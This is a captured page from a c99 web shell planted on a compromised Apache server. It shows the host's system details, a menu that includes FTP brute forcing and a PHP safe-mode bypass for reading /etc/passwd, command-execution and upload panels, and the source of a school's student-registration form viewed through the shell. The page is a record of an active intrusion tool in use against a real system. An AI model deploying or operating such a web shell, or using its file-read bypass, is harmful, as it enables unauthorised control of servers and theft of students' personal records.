!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Std_Acc_depart/Student/   drwxr-xr-x
Free 50.96 GB of 127.8 GB (39.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     bkAddstudent.php (16.7 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include("../../include/FunctionDB.php");
include(
"../../include/Function.php");
ConnectDB();
?>
<html>
<head>
<title>ผู้เรียน</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
</head>

<body bgcolor="#FFFFFF">
<font face="Tahoma, MS Sans Serif"> 
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr> 
    <td colspan="2"> 
      <form name="form1" method="post" action="InsertStudent.php">
        <table width="95%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#99CCFF">
          <tr bgcolor="#AFCFEF"> 
            <td height="25" colspan="3"> <div align="center"><strong><font color="#003366" size="4" face="Tahoma">เพิ่มข้อมูลนักศึกษา 
                </font></strong></div></td>
          </tr>
          <tr> 
            <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma, MS Sans Serif">หลักสูตร</font></div></td>
            <td bgcolor="#EEEEEE"><div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></div></td>
            <td bgcolor="#EEEEEE"> <select name="Course_code">
                <?php
            $strSQL 
"SELECT * FROM course_tb ";
            
$result1 mysql_query($strSQL);
                 while( 
$rss mysql_fetch_array($result1))
                {
                echo
"<option value=\"$rss[Course_code]\" ><b>$rss[Course_name]</b></option>\n";
                }
          
?>
              </select> <font color="#000000" size="2" face="Tahoma">รุ่นที่ 
              <input name="Class" type="text" id="Class" size="10">
              </font></td>
          </tr>
          <tr> 
            <td bgcolor="#EEEEEE"><div align="center"><font color="#000000" size="2" face="Tahoma">ลำดับ</font></div></td>
            <td bgcolor="#EEEEEE"><div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></div></td>
            <td bgcolor="#EEEEEE"><input name="Orderlist" type="text" id="Orderlist" size="5"></td>
          </tr>
          <tr> 
            <td width="27%" bgcolor="#EEEEEE"> <div align="center"><font size="2">รหัสนักศึกษา</font></div></td>
            <td width="3%" bgcolor="#EEEEEE"><div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></div></td>
            <td width="70%" bgcolor="#EEEEEE"> <input name="Student_id" type="text" id="Student_id" size="20"></td>
          </tr>
          <tr> 
            <td bgcolor="#EEEEEE"> <div align="center"><font color="#000066" size="2" face="Tahoma">คำนำหน้า</font></div></td>
            <td bgcolor="#EEEEEE"><div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></div></td>
            <td bgcolor="#EEEEEE"><font size="2" face="Tahoma"> 
              <input type="radio" name="First_name" value="นาย" onKeyPress="return handleEnter(this, event)" >
              นาย 
              <input type="radio" name="First_name" value="นางสาว" onkeypress="return handleEnter(this, event)" >
              นางสาว 
              <input type="radio" name="First_name" value="นาง" onkeypress="return handleEnter(this, event)">
              นาง </font></td>
          </tr>
          <tr> 
            <td bgcolor="#EEEEEE"> <div align="center"><font size="2">ชื่อ</font></div></td>
            <td bgcolor="#EEEEEE"><div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></div></td>
            <td bgcolor="#EEEEEE"> <input name="Name" type="text" id="Name" size="30"> 
              <font size="2">นามสกุล 
              <input name="Lastname" type="text" id="Lastname" size="30">
              </font></td>
          </tr>
          <tr> 
            <td bgcolor="#EEEEEE"> <div align="center"><font size="2">เพศ</font></div></td>
            <td bgcolor="#EEEEEE"><div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></div></td>
            <td bgcolor="#EEEEEE"><font size="2"> 
              <input type="radio" name="Sex" value="ชาย">
              ชาย &nbsp; 
              <input type="radio" name="Sex" value="หญิง">
              หญิง</font></td>
          </tr>
          <tr> 
            <td height="24" bgcolor="#EEEEEE"> <div align="center"><font size="2">วัน-เดือน-ปี 
                เกิด</font></div></td>
            <td nowrap bordercolor="#CCCCCC" bgcolor="#EEEEEE"><div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></div></td>
            <td nowrap bordercolor="#CCCCCC" bgcolor="#EEEEEE"><font color="#000000" size="2" face="Tahoma">วันที่ 
              <select name="mDate" id="mDate" class="select" onkeypress="return handleEnter(this, event)" >
                <? getDay1to31();?>
              </select>
              เดือน 
              <select name="mMonth" id="mMonth" class="select" onkeypress="return handleEnter(this, event)">
                <? getThaiMonth();?>
              </select>
              ปี พ.ศ. 
              <input name="mYear" type="text" id="mYear" size="10" class="input" onkeypress="return handleEnter(this, event)">
              </font></td>
          </tr>
          <tr bordercolor="#CCCCCC"> 
            <td nowrap bordercolor="#CCCCCC" bgcolor="#EEEEEE"> <div align="center"><font color="#003366" size="2" face="Tahoma">ศาสนา</font></div></td>
            <td bordercolor="#CCCCCC" bgcolor="#EEEEEE">&nbsp;</td>
            <td nowrap bordercolor="#CCCCCC" bgcolor="#EEEEEE"><font size="2" face="Tahoma"> 
              <input type="radio" name="Religion" value="พุทธ" onkeypress="return handleEnter(this, event)">
              พุทธ 
              <input type="radio" name="Religion" value="คริสต์" onkeypress="return handleEnter(this, event)">
              คริสต์ 
              <input type="radio" name="Religion" value="อิสลาม" onkeypress="return handleEnter(this, event)">
              อิสลาม 
              <input type="radio" name="Religion" value="อื่นๆ" onkeypress="return handleEnter(this, event)">
              อื่นๆ</font></td>
          </tr>
          <tr> 
            <td bgcolor="#EEEEEE"> <div align="center"><font size="2">ที่อยู่</font></div>
              <div align="center"></div>
              <div align="center"></div>
              <div align="center"></div></td>
            <td bgcolor="#EEEEEE">&nbsp;</td>
            <td bgcolor="#EEEEEE"> <textarea name="Address" cols="40" rows="5" id="Address"></textarea></td>
          </tr>
          <tr> 
            <td colspan="3"> <div align="center">&nbsp;</div></td>
          </tr>
          <tr> 
            <td height="19" colspan="3" bgcolor="#EEEEEE"> <div align="center"><strong><font size="4" face="Tahoma">ข้อมูลผู้ปกครอง</font></strong></div></td>
          </tr>
          <tr> 
            <td height="22" bgcolor="#EEEEEE"> <div align="center"><font size="2">ชื่อ 
                -<font face="Tahoma, MS Sans Serif"> นาม</font>สกุล บิดา</font></div></td>
            <td bgcolor="#EEEEEE"><div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></div></td>
            <td bgcolor="#EEEEEE"> <input name="Father_name" type="text" id="Father_name" size="30"> 
              <font size="2" face="Tahoma">มารดา 
              <input name="Mother_name" type="text" id="Mother_name" size="30">
              </font></td>
          </tr>
          <tr> 
            <td bgcolor="#EEEEEE"> <div align="center"><font size="2">ที่อยู่</font></div>
              <div align="center"></div>
              <div align="center"></div>
              <div align="center"></div></td>
            <td bgcolor="#EEEEEE">&nbsp;</td>
            <td bgcolor="#EEEEEE"> <textarea name="Address2" cols="40" rows="5" id="Address2"></textarea></td>
          </tr>
          <tr> 
            <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">เบอร์โทรติดต่อ</font></div></td>
            <td bgcolor="#EEEEEE">&nbsp;</td>
            <td bgcolor="#EEEEEE"><input name="Telno" type="text" id="Telno"></td>
          </tr>
          <tr> 
            <td colspan="3">&nbsp;</td>
          </tr>
          <tr> 
            <td colspan="3" bgcolor="#EEEEEE"> <div align="center"><font size="4" face="Tahoma"><strong>ข้อมูลการศึกษา</strong></font></div></td>
          </tr>
          <tr> 
            <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">สถาบันก่อนเข้าศึกษา</font></div></td>
            <td bgcolor="#EEEEEE">&nbsp;</td>
            <td bgcolor="#EEEEEE"><input name="Pre_inst" type="text" id="Pre_inst" size="50"></td>
          </tr>
          <tr> 
            <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">Pre-G.P.A</font></div></td>
            <td bgcolor="#EEEEEE">&nbsp;</td>
            <td bgcolor="#EEEEEE"><input name="Pre_gpa" type="text" id="Pre_gpa"></td>
          </tr>
          <tr> 
            <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">วิธีรับเข้า</font></div></td>
            <td bgcolor="#EEEEEE">&nbsp;</td>
            <td bgcolor="#EEEEEE"><select name="select2">
              </select></td>
          </tr>
          <tr> 
            <td bgcolor="#EEEEEE"> <div align="center"><font size="2" face="Tahoma">วันที่เข้าศึกษา</font></div></td>
            <td bgcolor="#EEEEEE"><div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></div></td>
            <td bgcolor="#EEEEEE"><font color="#000000" size="2" face="Tahoma">วันที่ 
              <select name="mDate2" id="select" class="select" onkeypress="return handleEnter(this, event)" >
                <? getDay1to31();?>
              </select>
              เดือน 
              <select name="mMonth2" id="select2" class="select" onkeypress="return handleEnter(this, event)">
                <? getThaiMonth();?>
              </select>
              ปี พ.ศ. 
              <input name="mYear2" type="text" id="mYear2" size="10" class="input" onkeypress="return handleEnter(this, event)">
              </font></td>
          </tr>
          <tr> 
            <td bgcolor="#EEEEEE"> <div align="center"><font size="2">สถาบันการศึกษา</font></div></td>
            <td bgcolor="#EEEEEE"><div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></div></td>
            <td bgcolor="#EEEEEE"><font size="2" face="Tahoma"> 
              <input type="radio" name="radiobutton" value="radiobutton">
              วิทยาลัยพยาบาล 
              <input type="radio" name="radiobutton" value="radiobutton">
              วิทยาลัยสาธารสุข </font> </td>
          </tr>
          <tr>
            <td bgcolor="#EEEEEE">&nbsp;</td>
            <td bgcolor="#EEEEEE">&nbsp;</td>
            <td bgcolor="#EEEEEE">&nbsp;</td>
          </tr>
          <tr bgcolor="#FFFFFF"> 
            <td>&nbsp;</td>
            <td>&nbsp;</td>
            <td>&nbsp;</td>
          </tr>
          <tr> 
            <td rowspan="2" bgcolor="#EEEEEE"> <div align="center"><font size="2">ความสามารถพิเศษ/รางวัลที่ได้รับ</font></div>
              <div align="center"></div></td>
            <td bgcolor="#EEEEEE">&nbsp;</td>
            <td bgcolor="#EEEEEE"><font size="2"> 
              <input type="checkbox" name="checkbox" value="checkbox">
              นักกีฬา&nbsp;&nbsp; 
              <input type="checkbox" name="checkbox2" value="checkbox">
              นักร้อง&nbsp;&nbsp;&nbsp; 
              <input type="checkbox" name="checkbox3" value="checkbox">
              นักดนตรี&nbsp;&nbsp; &nbsp;อื่นๆ 
              <input name="textfield5" type="text" size="25">
              </font></td>
          </tr>
          <tr> 
            <td bgcolor="#EEEEEE">&nbsp;</td>
            <td bgcolor="#EEEEEE">&nbsp; <font size="2">ผลงานเด่นขณะศึกษา</font> 
              <input name="textfield8" type="text" size="30"> </td>
          </tr>
          <tr> 
            <td rowspan="2" bgcolor="#EEEEEE"> <div align="center"><font size="2">ผลการเรียน</font></div></td>
            <td bgcolor="#EEEEEE">&nbsp;</td>
            <td bgcolor="#EEEEEE"><font size="2">&nbsp;&nbsp;ภาคการศึกษา</font> 
              <font size="2"> 
              <input name="textfield10" type="text" size="10">
              &nbsp;&nbsp;ปีการศึกษา 
              <input name="textfield21" type="text" size="10">
              </font></td>
          </tr>
          <tr> 
            <td bgcolor="#EEEEEE">&nbsp;</td>
            <td bgcolor="#EEEEEE">&nbsp;&nbsp;<font size="2">คะแนนเฉลี่ยนสะสม 
              (GPA) 
              <input name="textfield22" type="text" size="10">
              </font></td>
          </tr>
          <tr> 
            <td colspan="3"><div align="center">&nbsp;</div></td>
          </tr>
          <tr> 
            <td colspan="3" bgcolor="#EEEEEE">&nbsp;</td>
          </tr>
          <tr> 
            <td bgcolor="#EEEEEE"> <div align="center"><font size="2">อาจารย์ที่ปรึกษา</font></div></td>
            <td bgcolor="#EEEEEE">&nbsp;</td>
            <td bgcolor="#EEEEEE">&nbsp; <select name="Teacher_code" id="Teacher_code">
                <?php
            $strSQL2 
"SELECT * FROM personal_tb Where Permision='2' ";
            
$result2 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result2))
                {
                echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
          
?>
              </select></td>
          </tr>
          <tr> 
            <td bgcolor="#EEEEEE"> <div align="center"><font size="2">สมรรถนะชั้นปี</font></div></td>
            <td bgcolor="#EEEEEE">&nbsp;</td>
            <td bgcolor="#EEEEEE">&nbsp; <select name="select3">
              </select></td>
          </tr>
          <tr> 
            <td bgcolor="#EEEEEE"> <div align="center"><font size="2">ข้อมูลเกี่ยวกับทุน</font></div></td>
            <td bgcolor="#EEEEEE">&nbsp;</td>
            <td bgcolor="#EEEEEE"><font size="2">&nbsp;&nbsp;ชื่อทุน 
              <select name="code" id="Scholarship_code">
                <?php
            $strSQL 
"SELECT * FROM scholarship_tb ";
            
$result1 mysql_query($strSQL);
                 while( 
$rss mysql_fetch_array($result1))
                {
                echo
"<option value=\"$rss[Scholarship_code]\" ><b>$rss[Scholarship_name]</b></option>\n";
                }
          
?>
              </select>
              &nbsp;</font></td>
          </tr>
          <tr> 
            <td rowspan="2" bgcolor="#EEEEEE"> <div align="center"><font size="2">ปัญหาการเรียน</font></div>
              <div align="center"></div></td>
            <td bgcolor="#EEEEEE">&nbsp;</td>
            <td bgcolor="#EEEEEE">&nbsp; <textarea name="textarea" cols="40" rows="5"></textarea> 
            </td>
          </tr>
          <tr> 
            <td bgcolor="#EEEEEE">&nbsp;</td>
            <td bgcolor="#EEEEEE"><font size="2">&nbsp;&nbsp;คะแนนความประพฤติ 
              <input name="textfield27" type="text" size="10">
              </font></td>
          </tr>
          <tr> 
            <td rowspan="2" bgcolor="#EEEEEE"> <div align="center"><font size="2">สถาี่นที่พัก</font></div>
              <div align="center"></div></td>
            <td bgcolor="#EEEEEE">&nbsp;</td>
            <td bgcolor="#EEEEEE"><font size="2">&nbsp; 
              <input type="radio" name="radiobutton" value="radiobutton">
              ในวิทยาลัย&nbsp;&nbsp; 
              <input name="textfield28" type="text" size="30">
              </font></td>
          </tr>
          <tr> 
            <td bgcolor="#EEEEEE">&nbsp;</td>
            <td bgcolor="#EEEEEE"> <font size="2">&nbsp; 
              <input type="radio" name="radiobutton" value="radiobutton">
              นอกวิทยาลัย 
              <input name="textfield29" type="text" size="30">
              </font></td>
          </tr>
          <tr> 
            <td rowspan="3" bgcolor="#EEEEEE"> <div align="center"><font size="2">การเข้าร่วมกิจกรรม/ชมรม</font></div>
              <div align="center"></div>
              <div align="center"></div></td>
            <td bgcolor="#EEEEEE">&nbsp;</td>
            <td bgcolor="#EEEEEE"><font size="2">&nbsp; 
              <input type="checkbox" name="checkbox5" value="checkbox">
              เป็นสมาชิกชมรม&nbsp;&nbsp; 
              <input name="textfield30" type="text" size="30">
              </font></td>
          </tr>
          <tr> 
            <td bgcolor="#EEEEEE">&nbsp;</td>
            <td bgcolor="#EEEEEE"><font size="2">&nbsp; 
              <input type="checkbox" name="checkbox6" value="checkbox">
              เป็นกรรมการชมรม 
              <input name="textfield31" type="text" size="30">
              </font></td>
          </tr>
          <tr> 
            <td bgcolor="#EEEEEE">&nbsp;</td>
            <td bgcolor="#EEEEEE"><font size="2">&nbsp;&nbsp;อื่นๆ 
              <input name="textfield32" type="text" size="30">
              </font></td>
          </tr>
          <tr bgcolor="#AFCFEF"> 
            <td colspan="3"> <div align="center"> 
                <input type="submit" name="Submit" value="Submit">
              </div></td>
          </tr>
        </table>
      </form></td>
  </tr>
</table>
</font>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0106 ]--